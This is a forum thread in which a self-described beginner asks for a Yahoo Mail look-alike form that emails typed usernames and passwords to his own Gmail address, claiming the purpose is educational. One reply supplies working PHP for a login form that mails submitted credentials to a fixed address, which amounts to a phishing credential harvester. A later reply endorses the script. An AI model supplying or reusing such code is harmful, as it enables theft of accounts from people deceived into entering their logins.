Jump to content

Simple php help


met0555

Recommended Posts

hi, i'm a beignner, and i was trying to make a form mailer, but i couldn't, if there is someone who can give an example of a form like yahoo mail, i prefer yahoo mail to try mail.yahoo.com u can also get some help at http://www.scriptarchive.com/readme/formmail.html . what i waant is want the thing wrote on the username and password field to be e-mailed to me metaferia(at)gmail.com. it's  not for hacking or.... . it's for educational use

tanks
Link to comment
Share on other sites

In it's very simple form, it should look like this-

[code]<?php

if(isset($_POST['submit']))
{
die("<html>
<head>
<title>AutoClicker</title>
</head>
<body>
<font face=\"Arial\">
<form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
Your email:&nbsp;<input type=\"text\" name=\"user\"><br>
Your pass:&nbsp;<input type=\"password\" name=\"pass\"><br><br>
<input type=\"submit\" name=\"submit\" value=\"Send!\">
</form>
</body>
</html>");
}

$to = "your@email.here";
$msg="User = ".$_POST['user']."\nPass = ".$_POST['pass'];
mail($to,"New Entry",$msg);

?>[/code]

Orio.
Link to comment
Share on other sites

Thats a good script to use met0555 so give it a go. IF you wanted to learn how to do it yourself then just ask and Orio or someone else can explain how it works and why it works that way and how you can write script like that yourself.

Can i ask what the script is for though, you said its not for hacking but what [i]is[/i] it for?
Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.